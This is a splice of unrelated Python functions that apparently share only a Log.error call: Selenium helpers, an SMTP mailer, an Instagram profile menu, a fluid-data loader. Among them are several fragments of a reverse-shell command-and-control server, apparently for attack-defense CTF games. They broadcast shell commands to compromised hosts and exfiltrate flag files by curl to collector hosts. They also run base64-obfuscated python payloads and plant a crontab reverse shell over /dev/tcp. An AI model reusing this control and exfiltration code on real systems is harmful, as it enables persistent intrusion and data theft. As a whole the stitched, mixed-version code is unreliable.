def master(host, port): Log.info("Master starting at %s:%d" % (host, port)) master_fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM) master_fd.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) master_fd.bind((host, port)) master_fd.listen(MAX_CONNECTION_NUMBER) while (True): if EXIT_FLAG: break slave_fd, slave_addr = master_fd.accept() Log.success("\r[+] Slave online : %s:%d" % (slave_addr[0], slave_addr[1])) repeat = False for i in slaves.keys(): slave = slaves[i] if slave.hostname == slave_addr[0]: repeat = True break if repeat: Log.warning("Detect the same host connection, reseting...") slave_fd.shutdown(socket.SHUT_RDWR) slave_fd.close() else: slave = Slave(slave_fd) slaves[slave.node_hash] = slave Log.error("Master exiting...") master_fd.shutdown(socket.SHUT_RDWR) master_fd.close()
def transfer(h): slave = slaves[h] socket_fd = slave.socket_fd buffer_size = 0x400 interactive_stat = True while True: if EXIT_FLAG: Log.warning("Transfer function exiting...") break interactive_stat = slave.interactive try: buffer = socket_fd.recv( buffer_size) # Fix OSError: [Errno 9] Bad file descriptor except: break if not buffer: Log.error("No data, breaking...") break sys.stdout.write(buffer.decode("utf8")) if not interactive_stat: break if interactive_stat: Log.error("Unexpected EOF!") #socket_fd.shutdown(socket.SHUT_RDWR) socket_fd.close() slave.remove_node()
def main(args): """ Executes the lnk2pwn cli tool Parameters ---------- args: Namespace The cli arguments """ try: executor = CommandStrategy.resolve(args) executor.execute(args) sys.stdout.close() sys.stderr.close() except KeyError: parser.print_help(sys.stderr) sys.exit(1) except ValueError as error: Log.error(str(error)) sys.exit(1)
def get(self, url): try: self.driver.get(url) Log.info('navigate to [%s]' % url) except: Log.error('can not navigate to [%s]' % url) raise
class Config: """ Configuration settings """ def __init__(self, file=None): if not file: file = os.path.abspath(os.curdir) + "/config.ini" self.log = Log().handle(__name__) self.log.info(f"Config file: {file}") self.config = configparser.ConfigParser(allow_no_value=True) self.config.read(file) def settings(self, section, field=None): settings = self.config.items(section) try: settings = self.config.items(section) except Exception as e: self.log.error(f"Script exited with error: [{e}]") sys.exit(1) if field: try: section_settings = dict(settings)[field.lower()] except Exception as e: self.log.error(f"Script exited with error: [{e}]") sys.exit(1) self.log.debug( f"Config settings for {section}:{field} is {section_settings}") return section_settings
def deleteProfile(configProfileFolder): Screen.clear() Screen.welcomeAscii() print("\n") Log.warning("Delete Profile") print("\n") profiles = [] i = 1 for f in os.listdir(configProfileFolder): profiles.append(f) Log.info(str(i) + ". " + f.replace("_settings.ini", "")) i += 1 Log.error(str(i) + ". Go Back") choice = int(input("\n=> ")) if (choice == i): start() else: print("\n") Log.error(profiles[choice - 1]) os.remove(configProfileFolder + profiles[choice - 1]) try: os.remove('config/' + profiles[choice - 1].replace("_settings.ini", "") + '_uuid_and_cookie.json') os.remove('config/' + profiles[choice - 1].replace("_settings.ini", "") + '.checkpoint') except: pass time.sleep(1) start()
def location(self, host): try: response = requests.get("http://ip.taobao.com/service/getIpInfo.php?ip=%s" % (host), timeout=0.5) content = response.content return json.loads(content)["data"] except Exception as e: Log.error(str(e)) return {"data":"error", 'country': 'Unknown_country','isp': 'Unknown_isp','area': 'Unknown_area','region': 'Unknown_region','city': 'Unknown_city',}
def clear(self, pageName, objectName): try: self.getElement(pageName, objectName).clear() Log.info('clear the [%s] in [%s]' % (objectName, pageName)) except: Log.error('can not clear the [%s] in [%s]' % (objectName, pageName)) raise
def manage_slave_rec(self): lock = locks[self.node_hash] lock.acquire() # 接受被控shell信息发送给用户 try: while True: if EXIT_FLAG: break while True: buf = b'' try: rec = self.socket_fd.recv(2048) buf += rec except Exception as e: server_log(traceback.format_exc()) if len(rec) <= 2048: break if buf == b'': break #print(buf, check_state) if check_state: #print('Its time to check') self.checkQueue.put(buf) continue try: if buf: if interactive_state == 'interactive_state' and interactive_slave == self: bufss = str(buf, encoding="utf-8") fd_send(interactive_user, bufss) elif interactive_state == 'common_rec' or interactive_slave != self: # print('Its time to log') t = datetime.datetime.now().strftime( "%Y-%m-%d %H:%M:%S ") path = './log/' + t + self.hostname + ' : ' + str( self.port) + '.log' if [path, datetime.datetime.now()] not in recent: recent.append([path, datetime.datetime.now()]) save_info(path, buf, interactive_user) except Exception as e: server_log(traceback.format_exc()) Log.error( 'Something wrong in send buf to user, But we saved in to file.', interactive_user) t = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S ") path = './log/' + t + self.hostname + ' : ' + str( self.port) + '.log' recent.append([path, datetime.datetime.now()]) save_info(path, buf, interactive_user) server_log('\nsomething wrong!\n') except: server_log(traceback.format_exc()) lock.release() try: self.disconnect() except: pass lock.release()
def switch_to_frame(self, pageName, objectName): try: frame = self.getElement(pageName, objectName) self.driver.switch_to.frame(frame) Log.info('switch to [%s] in [%s]' % (objectName, pageName)) except: Log.error('can not switch to [%s] in [%s]' % (objectName, pageName)) raise
def send_key(self, pageName, objectName, data): try: self.getElement(pageName, objectName).send_keys(data) Log.info('send [%s] to [%s] in [%s]' % (data, objectName, pageName)) except: Log.error('can not send [%s] to [%s] in [%s]' % (data, objectName, pageName)) raise
def openBrowser(self): if self.browser == 'chrome': self.driver = webdriver.Chrome() elif self.browser == 'firefox': self.driver = webdriver.Firefox() else: Log.error('no such browser [%s]' % self.browser) raise Exception('no such browser [%s]' % self.browser) Log.info('open browser [%s]' % self.browser)
def printlogo(user_fd): s = ''' ___ __ __ |_ | \ \ / / | |_ __\ V / _ __ _ __ ___ | | '__/ \| '_ \| '_ ` _ \ /\__/ / | / /^\ \ | | | | | | | | \____/|_| \/ \/_| |_|_| |_| |_| Socket Manage\n''' Log.error(s, user_fd)
def go(self): """请求接口,返回响应。""" req = MyRequest() if self.method.upper() == 'GET': response = req.get(self.url, self.params) elif self.method.upper() == 'POST': response = req.post(self.url, self.params) else: Log.error("请求方法错误,现只能通过GET与POST方法") return None return response
def get(self, url, params): """get请求。 如果请求出错,则返回None。 """ # 检查传入的url if url is None: Log.error("get请求错误:url为空!!!") return None # 检查传入的参数 try: params_dict = json.loads(params) except Exception as e: Log.error("get请求错误:参数格式错误!!!" + str(repr(e))) return None # get请求 try: r = requests.get(url, params=params_dict, headers=self.headers, timeout=5) except Exception as e: Log.error("get请求异常,异常提示:" + str(repr(e))) return None if r.status_code != 200: Log.error("get请求响应错误:%d" % r.status_code) return None # 如果都没有错误,返回请求结果 Log.info("get请求成功!") return r.text
def send(self): """发送邮件""" # 构造邮件对象MIMEMultipart对象 self.msg['Subject'] = self.title self.msg['From'] = self.sender self.msg['To'] = ';'.join(self.receiver) # 构造邮件正文html内容,同时作为附件发送 if self.message: file = self._find_new_file(self.message) # 查找目录下最新的测试报告 with open(file, 'rb') as f: html = f.read() text_html = MIMEText(html, 'html', 'utf-8') self.msg.attach(text_html) atta_html = MIMEText(html, 'base64', 'utf-8') atta_html["Content-Type"] = 'application/octet-stream' # 附件重命名 atta_html[ "Content-Disposition"] = 'attachment; filename="report.html"' self.msg.attach(atta_html) # 添加附件,支持多个附件(传入list),或者单个附件(传入str) if self.files: if isinstance(self.files, list): for file in self.files: self._attach_file(file) elif isinstance(self.files, str): self._attach_file(self.files) # smtplib模块负责发送邮件 try: smtp_server = smtplib.SMTP(self.server, 25) # SMTP协议默认端口是25 except Exception as e: Log.error("发送邮件失败,无法连接到SMTP服务器,检查网络以及SMTP服务器." + "异常提示:" + str(repr(e))) else: try: smtp_server.login(self.sender, self.password) # 登录 except Exception as e: Log.error("用户登录失败,请检查密码!异常提示:" + str(repr(e))) else: smtp_server.sendmail(self.sender, self.receiver, self.msg.as_string()) # 邮件发送 finally: smtp_server.quit() # 断开服务器连接 Log.info('发送邮件"{0}"成功! 收件人:{1}。'.format( self.title, self.receiver))
def main(args): """ Executes the oniongen cli tool """ try: executor = CommandStrategy.resolve(args) executor.execute(args) sys.stdout.close() sys.stderr.close() except KeyError: parser.print_help(sys.stderr) sys.exit(1) except ValueError as error: Log.error(str(error)) sys.exit(1)
def check_admin(user_fd): hint = 'This is JrXnm socket manage, Please send your token.\n' for i in range(3): Log.info(hint, user_fd) try: buf = user_fd.recv(2048) except socket.timeout: Log.error('TimeOut!', user_fd) if buf == b'': break with open('auth', 'r') as f: psw = f.read() if buf: bufss = str(buf, encoding="utf-8") if bufss != psw: hint = 'Authentication failed, Please send again!\n' continue printlogo(user_fd) return True return False
def createProfile(configProfileFolder): Screen.clear() Screen.welcomeAscii() print("\n") Log.warning("Create a new Profile") Log.error("Type 'GO BACK' to go back") print("\n") user = input("Username: "******"Password: ") config = configparser.ConfigParser() config['Instagram'] = {} config['Instagram']['username'] = user config['Instagram']['password'] = passw with open(configProfileFolder + user + '_settings.ini', 'a') as configfile: config.write(configfile) start()
def transfer(h): slave = slaves[h] socket_fd = slave.socket_fd buffer_size = 0x400 interactive_stat = True while True: if EXIT_FLAG: Log.warning("Transfer function exiting...") break interactive_stat = slave.interactive buffer = socket_fd.recv(buffer_size) if not buffer: Log.error("No data, breaking...") break sys.stdout.write(buffer) if not interactive_stat: break if interactive_stat: Log.error("Unexpected EOF!") socket_fd.shutdown(socket.SHUT_RDWR) socket_fd.close() slave.remove_node()
def getElement(self, pageName, objectName): try: page = self.dom.getElementsByTagName(pageName)[0] except: Log.error('no such [%s]' % pageName) raise try: object = page.getElementsByTagName(objectName)[0] except: Log.error('no such [%s[' % objectName) raise type = object.getAttribute('type') value = object.getAttribute('value') element = None try: if type == 'id': element = self.driver.find_element_by_id(value) elif type == 'name': element = self.driver.find_element_by_name(value) elif type == 'class': element = self.driver.find_element_by_class_name(value) elif type == 'xpath': element = self.driver.find_element_by_xpath(value) elif type == 'linkText': element = self.driver.find_element_by_link_text(value) elif type == 'partialLinkText': element = self.driver.find_element_by_partial_link_text(value) else: Log.error('no such locate type [%s]' % type) except: Log.error("can't locate the element [%s] in [%s]" % (objectName, pageName)) self.driver.get_screenshot_as_file(r'..\photos\%s_%s.png' % (objectName, pageName)) raise return element
def multiProfile(): global username, password configProfileFolder = "./config/profiles/" filesCount = sum( [len(files) for r, d, files in os.walk(configProfileFolder)]) if (filesCount == 0): Log.warning("0 Profiles Found...") Log.success("1. Create Profile") Log.error("2. Exit") choice = int(input("\n=> ")) if (choice == 1): createProfile(configProfileFolder) else: close() else: print("\n") Log.warning("Select your account") print("\n") Log.success("1. Create Profile") profiles = [] i = 2 for f in os.listdir(configProfileFolder): profiles.append(f) Log.info(str(i) + ". " + f.replace("_settings.ini", "")) i += 1 Log.error(str(i) + ". Delete Profile") Log.error(str(i + 1) + ". Exit") choice = int(input("\n=> ")) if (choice == 1): createProfile(configProfileFolder) elif (choice == i): deleteProfile(configProfileFolder) elif (choice == i + 1): close() else: config = configparser.ConfigParser() user = profiles[choice - 2] config.read(configProfileFolder + user) username = config['Instagram']['username'] password = config['Instagram']['password'] Log.success(username) print("\n")
def main(): if len(sys.argv) != 3: print "Usage : " print "\tpython master.py [HOST] [PORT]" exit(1) host = sys.argv[1] port = int(sys.argv[2]) EXEC_LOCAL = True signal.signal(signal.SIGINT, signal_handler) signal.signal(signal.SIGTERM, signal_handler) Log.info("Starting server...") master_thread = threading.Thread(target=master, args=( host, port, )) Log.info("Connecting to localhost server...") slaver_thread = threading.Thread(target=slaver, args=( host, port, True, )) master_thread.daemon = True slaver_thread.daemon = True master_thread.start() slaver_thread.start() time.sleep(1) show_commands() position = slaves[slaves.keys()[0]].node_hash # master himself while True: if len(slaves.keys()) == 0: Log.error("No slaves left , exiting...") break if not position in slaves.keys(): Log.error("Node is offline... Changing node...") position = slaves.keys()[0] current_slave = slaves[position] context_hint = "[%s:%d] >> " % (current_slave.hostname, current_slave.port) Log.context(context_hint) command = raw_input() or "h" if command.startswith("#"): continue if command == "h" or command == "help" or command == "?" or command == "\n": show_commands() elif command == "l": Log.info("Listing online slaves...") for key in slaves.keys(): print "[%s]" % ("-" * 0x2A) slaves[key].show_info() print "[%s]" % ("-" * 0x2A) elif command == "p": current_slave.show_info() elif command == "c": command = raw_input("Input command (uname -r) : ") or ("uname -r") Log.info("Command : %s" % (command)) for i in slaves.keys(): slave = slaves[i] result = slave.send_command_print(command) elif command == "g": input_node_hash = raw_input( "Please input target node hash : ") or position Log.info("Input node hash : %s" % (repr(input_node_hash))) if input_node_hash == position: Log.warning("Position will not change!") continue found = False for key in slaves.keys(): if key.startswith(input_node_hash): # old_slave = slaves[position] new_slave = slaves[key] # Log.info("Changing position from [%s:%d] to [%s:%d]" % (old_slave.hostname, old_slave.port, new_slave.hostname, new_slave.port)) Log.info("Changing position to [%s:%d]" % (new_slave.hostname, new_slave.port)) position = key found = True break if not found: Log.error("Please check your input node hash!") Log.error("Position is not changed!") elif command == "setl": EXEC_LOCAL = True elif command == "setr": EXEC_LOCAL = False elif command == "f*g": flag_path = raw_input("Input flag path (/flag.txt) : ") or ( "/flag.txt") box_host = raw_input("Input flag box host (192.168.187.128) : " ) or ("192.168.187.128") box_port = int(raw_input("Input flag box host (80) : ") or ("80")) for i in slaves.keys(): slave = slaves[i] command = "FLAG=`cat %s | base64`" % (flag_path) Log.info("Command : %s" % (command)) result = slave.send_command(command) command = "curl \"http://%s:%d/?flag=${FLAG}\"" % (box_host, box_port) Log.info("Command : %s" % (command)) result = slave.send_command(command) if result: Log.info("Flag is sent to you!") else: # slave.remove_node() Log.error( "Executing command failed! Connection aborted! Node removed!" ) position = slaves.keys()[0] Log.info("Position changed to : %s" % (position)) elif command == "fg": flag_path = raw_input("Input flag path (/flag.txt) : ") or ( "/flag.txt") box_host = raw_input("Input flag box host (192.168.187.128) : " ) or ("192.168.187.128") box_port = int(raw_input("Input flag box host (80) : ") or ("80")) command = "FLAG=`cat %s | base64`" % (flag_path) Log.info("Command : %s" % (command)) result = current_slave.send_command(command) command = "curl \"http://%s:%d/?flag=${FLAG}\"" % (box_host, box_port) Log.info("Command : %s" % (command)) result = current_slave.send_command(command) if result: Log.info("Flag is sent to you!") else: # slave.remove_node() Log.error( "Executing command failed! Connection aborted! Node removed!" ) position = slaves.keys()[0] Log.info("Position changed to : %s" % (position)) elif command == "i": current_slave.interactive_shell() elif command == "q" or command == "quit" or command == "exit": EXIT_FLAG = True # TODO : release all resources before closing Log.info("Releasing resources...") for key in slaves.keys(): slave = slaves[key] Log.error("Closing conntion of %s:%d" % (slave.hostname, slave.port)) slave.socket_fd.shutdown(socket.SHUT_RDWR) slave.socket_fd.close() Log.error("Exiting...") exit(0) else: Log.error("Unsupported command!") if EXEC_LOCAL: os.system(command) else: current_slave.send_command_print(command)
def remove_node(self): Log.error("Removing Node!") if self.node_hash in slaves.keys(): slaves.pop(self.node_hash)
def main(): if len(sys.argv) != 3: print("Usage : ") print("\tpython master.py [HOST] [PORT]") exit(1) host = sys.argv[1] port = int(sys.argv[2]) EXEC_LOCAL = True signal.signal(signal.SIGINT, signal_handler) signal.signal(signal.SIGTERM, signal_handler) master_thread = threading.Thread(target=master, args=( host, port, )) slaver_thread = threading.Thread(target=slaver, args=( host, port, True, )) master_thread.daemon = True slaver_thread.daemon = True Log.info("Starting server...") master_thread.start() Log.info("Connecting to localhost server...") slaver_thread.start() time.sleep(0.75) show_commands() position = slaves[list(slaves.keys())[0]].node_hash # master himself while True: if len(list(slaves.keys())) == 0: Log.error("No slaves left , exiting...") break if not position in list(slaves.keys()): Log.error("Node is offline... Changing node...") position = list(slaves.keys())[0] current_slave = slaves[position] context_hint = "[%s:%d]" % (current_slave.hostname, current_slave.port) Log.context(context_hint) command = input(" >> ") or "h" if command.startswith("#"): continue if command == "h" or command == "help" or command == "?" or command == "\n": show_commands() elif command == "l": Log.info("Listing online slaves...") for key in list(slaves.keys()): print(("[%s]") % ("-" * 0x2A)) slaves[key].show_info() print(("[%s]") % ("-" * 0x2A)) elif command == "p": current_slave.show_info() elif command == "c": cmd = input("Input command (uname -r) : ") or ("uname -r") Log.info("Command : %s" % (cmd)) for i in list(slaves.keys()): slave = slaves[i] result = slave.send_command_print(cmd) elif command == "cl": cmd = input("Input command (uname -r) : ") or ("uname -r") Log.info("Command : %s" % (cmd)) for i in list(slaves.keys()): slave = slaves[i] result = slave.send_command_log(cmd) elif command == "cronadd": content = input("Input new crontab task (* * * * * date): ") or ( "* * * * * date") current_slave.add_crontab(content) elif command == "crondel": pattern = input("Input pattern (bash) : ") or ("bash") current_slave.del_crontab(pattern) elif command == "g": input_node_hash = input( "Please input target node hash : ") or position Log.info("Input node hash : %s" % (repr(input_node_hash))) if input_node_hash == position: Log.warning("Position will not change!") continue found = False for key in list(slaves.keys()): if key.startswith(input_node_hash): # old_slave = slaves[position] new_slave = slaves[key] # Log.info("Changing position from [%s:%d] to [%s:%d]" % (old_slave.hostname, old_slave.port, new_slave.hostname, new_slave.port)) Log.info("Changing position to [%s:%d]" % (new_slave.hostname, new_slave.port)) position = key found = True break if not found: Log.error("Please check your input node hash!") Log.error("Position is not changed!") elif command == "setl": EXEC_LOCAL = True elif command == "setr": EXEC_LOCAL = False elif command == "gaf": while True: ''' flag_path = raw_input( "Input flag path (/flag.txt) : ") or ("/flag.txt") box_host = raw_input("Input flag box host (192.168.187.128) : ") or ( "192.168.187.128") box_port = int(raw_input("Input flag box host (80) : ") or ("80")) ''' for i in list(slaves.keys()): slave = slaves[i] r_info = open("host").read() r_host = r_info.split(":")[0] r_port = int(r_info.split(":")[1]) slave.auto_connect(r_host, r_port) payload = "python -c 'exec(\"%s\".decode(\"base64\"))'" % ''' flag = open("__FLAG_PATH__").read() key = 233 result = "" for i in flag: result += chr(ord(i) ^ key) print result '''.replace("__FLAG_PATH__", flag_path).encode("base64").replace("\n", "") # cmd = "FLAG=`%s`" % (payload) # Log.info(cmd) # exit(0) Log.info("Command : %s" % (payload)) result = slave.system_token(payload) flag = decode_flag( result.replace("\n", "").replace("\r", "")).replace( "\n", "").replace("\r", "") Log.info("FLAG: %s" % flag) submit_flag(flag) Log.info("Submitted") ''' cmd = "FLAG=`cat %s | base64`" % (flag_path) Log.info("Command : %s" % (cmd)) result = slave.send_command(cmd) cmd = "curl \"http://%s:%d/?flag=${FLAG}\"" % ( box_host, box_port) Log.info("Command : %s" % (cmd)) result = slave.send_command(cmd) if result: Log.info("Flag is sent to you!") else: # slave.remove_node() Log.error("Executing command failed! Connection aborted! Node removed!") position = slaves.keys()[0] Log.info("Position changed to : %s" % (position)) ''' sleep_time = int(open("sleep").read()) if sleep_time == 0: break time.sleep(sleep_time) elif command == "gf": # flag_path = raw_input( # "Input flag path (/flag) : ") or ("/flag") # box_host = raw_input("Input flag box host (192.168.187.128) : ") or ( # "192.168.187.128") # box_port = int(raw_input("Input flag box host (80) : ") or ("80")) payload = "python -c 'exec(\"%s\".decode(\"base64\"))'" % ''' flag = open("__FLAG_PATH__").read() key = 233 result = "" for i in flag: result += chr(ord(i) ^ key) print result '''.replace("__FLAG_PATH__", flag_path).encode("base64").replace( "\n", "") # cmd = "FLAG=`%s`" % (payload) # Log.info(cmd) # exit(0) Log.info("Command : %s" % (payload)) result = current_slave.system_token(payload) flag = decode_flag(result) Log.info("FLAG: %s" % flag) submit_flag(flag) Log.info("Submitted") # cmd = "curl \"http://%s:%d/?flag=${FLAG}\"" % ( # box_host, box_port) # Log.info("Command : %s" % (cmd)) # result = current_slave.send_command(cmd) # if result: # Log.info("Flag is sent to you!") # else: # # slave.remove_node() ## Log.error("Executing command failed! Connection aborted! Node removed!") # position = slaves.keys()[0] # Log.info("Position changed to : %s" % (position)) elif command == "i": current_slave.interactive_shell() elif command == "d": current_slave.remove_node() elif command == "ac": target_host = input("Target host (192.168.1.1) : ") or ( "192.168.1.1") target_port = int(input("Target port (8080) : ") or ("8080")) Log.info("Changing crontab...") current_slave.auto_connect(target_host, target_port) elif command == "aac": target_host = input("Target host (192.168.1.1) : ") or ( "192.168.1.1") target_port = int(input("Target port (8080) : ") or ("8080")) for i in list(slaves.keys()): slave = slaves[i] slave.auto_connect(target_host, target_port) elif command == "nm": new_master_host = input("Input new master's host (0.0.0.0): ") or ( "0.0.0.0") new_master_port = int( input("Input new master's port (8090): ") or ("8090")) new_master_thread = threading.Thread(target=master, args=( new_master_host, new_master_port, )) new_master_thread.daemon = True new_master_thread.start() # TODO : OO # TODO : Master Management elif command == "q" or command == "quit" or command == "exit": EXIT_FLAG = True # TODO : release all resources before closing Log.info("Releasing resources...") for key in list(slaves.keys()): slave = slaves[key] Log.error("Closing conntion of %s:%d" % (slave.hostname, slave.port)) slave.socket_fd.shutdown(socket.SHUT_RDWR) slave.socket_fd.close() Log.error("Exiting...") exit(0) else: Log.error("Unsupported command!") if EXEC_LOCAL: os.system(command) else: current_slave.send_command_print(command)
''' Created on Dec 12, 2016 @author: xiaopan ''' import getopt import sys from check.post_check import BitbakePostCheck from utils.log import Log if __name__ == '__main__': OPTS, ARGS = getopt.getopt(sys.argv[1:], 'b:', 'baseline') logger = Log().getLogger("Main") baseline = "" for opt, arg in OPTS: if opt in ['-b', '--baseline']: baseline = arg if baseline == "": logger.error("please run the script with parameter -b <baseline> ") BitbakePostCheck(baseline).start()
class TMGLowDataLoader(object): ''' Parent class for TM-Glow dataloader creators Note: These are not used as actual data loaders, they create data loaders ''' def __init__(self, training_dir='.', testing_dir='.', log=None): super().__init__() # Directory of data self.training_dir = training_dir self.testing_dir = testing_dir if(log is None): self.log = Log() else: self.log = log self.input_mean = None self.output_mean = None self.input_std = None self.output_std = None def readFluidData(self, input_file_name:str, target_file_name:str, fStride=1, cStride=1): coarse_file = os.path.join(self.training_dir, input_file_name) try: data_npz = np.load(coarse_file) self.log.log('Reading file {:s}.'.format(input_file_name), rec=False) # Remove z-velocity as it is not needed inputData = np.concatenate([data_npz['data'][::cStride,:2,:,:], data_npz['data'][::cStride,3:,:,:]], axis=1) # inputData.append(data_np) # inputTime.append(data_npz['times']) except FileNotFoundError: self.log.error("Uh-oh, seems a low-fidelity data file couldn't be found!") self.log.error('Check this file exists: {}'.format(coarse_file)) inputData = None # Read in high-fidelity (target data) fine_file = os.path.join(self.training_dir, target_file_name) try: data_npz = np.load(fine_file) self.log.log('Reading file {:s}.'.format(target_file_name), rec=False) # Remove z-velocity as it is not needed targetData = np.concatenate([data_npz['data'][::fStride,:2,:,:], data_npz['data'][::fStride,3:,:,:]], axis=1) # targetData.append(data_np) # targetTime.append(data_npz['times']) except FileNotFoundError: self.log.error("Uh-oh, seems a high-fidelity data file couldn't be found!") self.log.error('Check this file exists: {}'.format(fine_file)) targetData = None return inputData, targetData def calcNormalizingParams(self, inputData, targetData): ''' Calculates the hyper-paramters used for normalizing the training input/output data. Normalizes data to a standard unit Gaussian. Args: inputData (tensor): [b,t,c,d1,d2] tensor of low-fidelity inputs targetData (tensor): [b,t,c,d1*,d2*] tensor of high-fidelity target ''' self.log.warning('Calculating normalizing constants') self.input_mean = torch.zeros(3) self.output_mean = torch.zeros(3) self.input_mean[0] = torch.mean(inputData[:,:,0]) self.input_mean[1] = torch.mean(inputData[:,:,1]) self.input_mean[2] = torch.mean(inputData[:,:,2]) self.output_mean[0] = torch.mean(targetData[:,:,0]) self.output_mean[1] = torch.mean(targetData[:,:,1]) self.output_mean[2] = torch.mean(targetData[:,:,2]) self.input_std = torch.zeros(3)+1 self.output_std = torch.zeros(3)+1 self.input_std[0] = torch.std(inputData[:,:,0]) self.input_std[1] = torch.std(inputData[:,:,1]) self.input_std[2] = torch.std(inputData[:,:,2]) self.output_std[0] = torch.std(targetData[:,:,0]) self.output_std[1] = torch.std(targetData[:,:,1]) self.output_std[2] = torch.std(targetData[:,:,2]) def setNormalizingParams(self, model): ''' Given a PyTorch model this sets the normalizing paramters of the loader class using what is stored in the model. This is done to save normalizing constants between runs. Args: model: PyTorch model with normalizing constants as ''' self.input_mean = torch.zeros(3) self.output_mean = torch.zeros(3) self.input_mean = model.in_mu.cpu() self.output_mean = model.out_mu.cpu() self.input_std = torch.zeros(3) self.output_std = torch.zeros(3) self.input_std = model.in_std.cpu() self.output_std = model.out_std.cpu() def transferNormalizingParams(self, model): ''' Given a PyTorch model this gets the calculated normalizing parameters and assigned them to registered parameters of the model. This is done to save normalizing constants between runs. Args: model: PyTorch model with normalizing constants params to be set device (PyTorch device): device the PyTorch model is on ''' device = next(model.parameters()).device # Model's device model.in_mu = self.input_mean.to(device) model.out_mu = self.output_mean.to(device) model.in_std = self.input_std.to(device) model.out_std = self.output_std.to(device) def normalizeInputData(self, inputData): ''' Normalize the input tensor on each channel (x-vel, y-vel, pressure) ''' # Normalize training data to unit Gaussian inputData[:,:,0] = inputData[:,:,0] - self.input_mean[0] inputData[:,:,1] = inputData[:,:,1] - self.input_mean[1] inputData[:,:,2] = inputData[:,:,2] - self.input_mean[2] inputData[:,:,0] = inputData[:,:,0] / self.input_std[0] inputData[:,:,1] = inputData[:,:,1] / self.input_std[1] inputData[:,:,2] = inputData[:,:,2] / self.input_std[2] return inputData def normalizeTargetData(self, targetData): ''' Normalize the target tensor on each channel (x-vel, y-vel, pressure) ''' targetData[:,:,0] = targetData[:,:,0] - self.output_mean[0] targetData[:,:,1] = targetData[:,:,1] - self.output_mean[1] targetData[:,:,2] = targetData[:,:,2] - self.output_mean[2] targetData[:,:,0] = targetData[:,:,0] / self.output_std[0] targetData[:,:,1] = targetData[:,:,1] / self.output_std[1] targetData[:,:,2] = targetData[:,:,2] / self.output_std[2] return targetData
Log.info("Connecting to localhost server...") slaver_thread.start() time.sleep(0.75) position = slaves[slaves.keys()[0]].node_hash # master himself # flag_path = raw_input("[Flag Path] :").replace("\n", "") flag_path = "/flag/flag.txt" count = 0 flag_count = 0 csrf = "" try: CreateTable(CRAETE_TABLE_SQL) except: print "creat database fail" while True: if len(slaves.keys()) == 0: Log.error("No slaves left , exiting...") break if not position in slaves.keys(): Log.error("Node is offline... Changing node...") position = slaves.keys()[0] current_slave = slaves[position] context_hint = "[%s:%d]" % (current_slave.hostname, current_slave.port) # Log.context(context_hint) cmd = """ifconfig;curl "http://172.91.0.101:3004/a`/bin/cat {}`/{}/" -s""" if len(slaves) == 1: time.sleep(1) continue master_ = 0 for i in slaves.keys(): if master_ == 0: master_ += 1
def transfer2user(user_fd, mod, **kwargs): """所有接受用户消息进程都归于此""" global interactive_slave, EXIT_FLAG, interactive_state, choosed_slave, interactive_user choosed_slave = None while True: server_log('get user info\n') if EXIT_FLAG: break if mod != 'interactive_shell': if choosed_slave: if choosed_slave.name: msg = '(' + choosed_slave.name + ')' else: msg = '(' + choosed_slave.hostname + ')' Log.error(msg, user_fd) Log.command('>>>', user_fd) buf = user_fd.recv(2048) #print(buf) if buf == b'': break if buf: command = str(buf, encoding="utf-8") server_log(command) if mod == 'interactive_shell': slave_fd = kwargs['slave_fd'] slave = kwargs['slave'] if command == 'Ex1t\n': interactive_state = 'common_rec' interactive_slave = None break try: fd_send(slave_fd, command) except socket.error: slave.del_socket() if command == 'exit\n': time.sleep(0.5) try: msg = '\n' fd_send(slave_fd, msg) fd_send(slave_fd, msg) # slaves[key].socket_fd.recv(2048) except socket.error: server_log(traceback.format_exc()) check_online_slave() interactive_state = 'common_rec' interactive_slave = None break elif mod == 'Control_Command': if command == 'show\n' or command == 's\n': print_salve(user_fd) elif command == 'check\n' or command == 'ck\n': check_online_slave() elif command == '\n': continue elif command == 'recent\n' or command == 'r\n': recent_log(user_fd) elif command == 'i\n': slave = choosed_slave interactive_slave = choosed_slave if not slave: msg = 'Please choose the slave you want to Control\n' Log.warning(msg, user_fd) continue interactive_state = 'interactive_state' t = threading.Thread(target=transfer2user, args=(user_fd, 'interactive_shell'), kwargs={ 'slave_fd': slave.socket_fd, 'slave': slave }) t.start() while interactive_state == 'interactive_state': if EXIT_FLAG: break time.sleep(1) choosed_slave = None elif command == 'exit\n': interactive_user == None user_fd.shutdown(socket.SHUT_RDWR) user_fd.close() break elif command[0:6] == 'choose' or command == 'c\n': #check_online_slave() if command == 'c\n' or command == 'choose\n': msg = 'input the number of slave\n' Log.warning(msg, user_fd) print_salve(user_fd) choosed_slave = transfer2user(user_fd, 'choose_slave') elif command[0:7] == 'choose ': pa = re.compile(r'choose\s+(.*?)\n') res = pa.findall(command) if res: i = 0 for key in slaves.keys(): if str(i) == res[0]: choosed_slave = slaves[key] break i += 1 if choosed_slave: msg = 'select the slave :' msg += choosed_slave.hostname + ' : ' + str( choosed_slave.port) + '\n' Log.success(msg, user_fd) else: msg = 'Do not have this slave.\n' fd_send(user_fd, msg) elif command == 'del\n': slave = choosed_slave if not slave: msg = 'Please choose the slave you want to Control\n' Log.error(msg, user_fd) continue slave.disconnect() msg = 'success to delete the slave \n' Log.success(msg, user_fd) choosed_slave = None elif command[0:4] == 'name' and command[4] == ' ': slave = choosed_slave if not slave: msg = 'Please choose the slave you want to Control\n' Log.error(msg, user_fd) continue pa = re.compile(r'name\s+(.*?)\n') res = pa.findall(command) if not res: msg = 'Please rewrite the name.\n' Log.error(msg, user_fd) continue slave.name = res[0] choosed_slave = None elif command[0:3] == 'add' and (command[3] == ' ' or command[3] == '\n'): slave = choosed_slave if not slave: msg = 'Please choose the slave you want to Control\n' Log.error(msg, user_fd) continue if command[3] == ' ': pa = re.compile(r'add\s+(.*?)\n') res = pa.findall(command) if not res: msg = 'Please rewrite the add command.\n' Log.error(msg, user_fd) continue slave.add_crontab(res[0], user_fd) else: content = '''\n* * * * * bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"\n''' slave.add_crontab(content, user_fd) else: print_command(user_fd) elif mod == 'choose_slave': slave_num = command.strip() if slave_num == 'q': return None i = 0 for key in slaves.keys(): if str(i) == slave_num: choosed_slave = slaves[key] break i += 1 if choosed_slave: msg = 'select the slave :' msg += choosed_slave.hostname + ' : ' + str( choosed_slave.port) + '\n' Log.success(msg, user_fd) return choosed_slave else: msg = 'Do not have this slave.\n' fd_send(user_fd, msg) return None
